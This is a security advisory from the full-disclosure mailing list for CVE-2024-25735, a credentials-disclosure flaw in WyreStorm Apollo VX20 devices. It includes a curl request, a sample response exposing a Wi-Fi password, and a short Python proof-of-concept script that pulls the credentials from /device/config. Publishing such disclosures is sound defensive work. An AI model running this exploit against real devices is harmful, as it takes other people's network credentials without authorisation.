full-disclosure - [FD] Wyrestorm Apollo VX20 / Incorrect Access Control - Credentials Disclosure / CVE-2024-25735

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Date: Sun, 11 Feb 2024 19:10:28 -0500
From: hyp3rlinx <apparitionsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Wyrestorm Apollo VX20 / Incorrect Access Control - Credentials
 Disclosure / CVE-2024-25735

[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/WYRESTORM_APOLLO_VX20_INCORRECT_ACCESS_CONTROL_CREDENTIALS_DISCLOSURE_CVE-2024-25735.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec

[Vendor]
www.wyrestorm.com

[Product]
APOLLO VX20 < 1.3.58

[Vulnerability Type]
Incorrect Access Control (Credentials Disclosure)

[Affected Component]
Web interface, config

[Affected Product Code Base]
 APOLLO VX20 < 1.3.58, fixed in v1.3.58

[CVE Reference]
CVE-2024-25735

[Security Issue]
An issue was discovered on WyreStorm Apollo VX20 devices before 1.3.58.
Remote attackers can discover cleartext credentials for the SoftAP (access
point) Router /device/config using an HTTP GET request.
The credentials are then returned in the HTTP response. curl -k
https://192.168.x.x/device/config

E.g. HTTP response snippet:

:{"enable":"y","oncmd":"8004","offcmd":"8036"}},"screen":"dual","ipconflict":"y","wifi":{"auto":"y","band":"5","channel":"153"}
,"softAp":{"password":"12345678","router":"y","softAp":"y"}...

[Exploit/POC]
import requests

target="https://x.x.x.x"
res = requests.get(target+"/device/config", verify=False)

idx=res.content.find('{"password":')
if idx != -1:
    idx2=res.content.find('router')
    if idx2 != -1:
        print("[+] CVE-2024-25735 Credentials Disclosure")
        print("[+] " + res.content[idx + 1:idx2 + 11])
        print("[+] hyp3rlinx")
else:
    print("[!] Apollo vX20 Device not vulnerable...")

[Network Access]
Remote

[Severity]
High

[Disclosure Timeline]
Vendor Notification: January 18, 2024
Vendor released fixed firmware v1.3.58: February 2, 2024
February 11, 2024 : Public Disclosure

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
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